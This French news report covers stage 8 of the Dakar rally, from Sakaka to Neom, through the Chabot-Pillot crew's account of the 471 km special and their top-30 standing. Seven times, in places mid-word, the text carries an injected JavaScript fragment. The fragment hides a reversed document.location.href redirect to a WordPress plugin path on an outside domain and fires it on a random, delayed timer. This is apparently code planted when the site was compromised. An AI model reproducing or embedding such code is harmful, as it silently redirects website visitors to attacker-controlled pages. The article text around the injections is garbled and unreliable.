ETAPE 8
Sakaka > Neom

Le duo Chabot-Pillot s’est offert une spéciale aboutie pour la 2e partie de l’étape-marathon entre Sakaka et Neom. Actuellement dans le ‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 30’ du général, ils espèrent rééditer cette performance. Ronan s’enthousiasme : « On aimerait faire que des journées comme ça ! » 

Rien n’est immuable sur le Dakar. Les journées sont bien remplies, certes, mais il serait impossible de résumer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ce qui se passe en 24 heures, surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout quand on avale des centaines de kilomètres et qu’on traverse un pays. Ce lundi en est une bonne illustration : après s’être levés dans la fraicheur du bivouac-marathon de Sakaka, à l’est de l’Arabie Saoudite, les concurrents sont arrivés cet après-midi au bord de la Mer Rouge, à Neom. L’endroit est stratégique pour le Royaume (voir par ailleurs) et offre surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout des panoramas exceptionnels sur la mer.

« On a pris plaisir à rouler » 

« Aujourd’hui, le bivouac est littoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral », s’amuse Ronan Chabot. Allongé dans sa cabine, le pilote apprécie le moment et la quiétude des lieux. Le soleil inonde le bivouac et s’apprête à se coucher derrière la mer. « Le coucher de soleil va être magnifique ». Mais avant cet instant de répit bienheureux, il a fallu rouler. 

Alors, quid de la spéciale du jour et de ses 471 km ? « C’était vraiment beau et on a pris du plaisir à rouler. Il y avait des canyons, des cailloux, un peu moins de sable » Et comme toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours, la bataille a été intense sur la piste. « Il a fallu doubler des voitures sur le premier quart et ensuite, les vallées étaient plus grandes donc c’était un peu plus facile pour dépasser. On a fait une très bonne 2e partie de spéciale »

Les pneumatiques ont tenu, la mécanique aussi – hormis un amortisseur arrière – et le plaisir était au rendez-vous. D’un point de vue comptable, Ronan et Gilles ont signé le 33e temps et ils restent dans le ‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 30’ (29e à 7h33). « Quand on n’est pas dans la poussière d’un concurrent, c’est une autre course. On peut voir loin, apprécier les paysages, s’attarder sur les sensations à bord et prendre un vrai rythme de course… » Ronan fait une pause avant que son visage ne s’illumine : « on aimerait faire que des journées comme ça ! » Et il reste encore quatre étapes pour réaliser de telles étapes !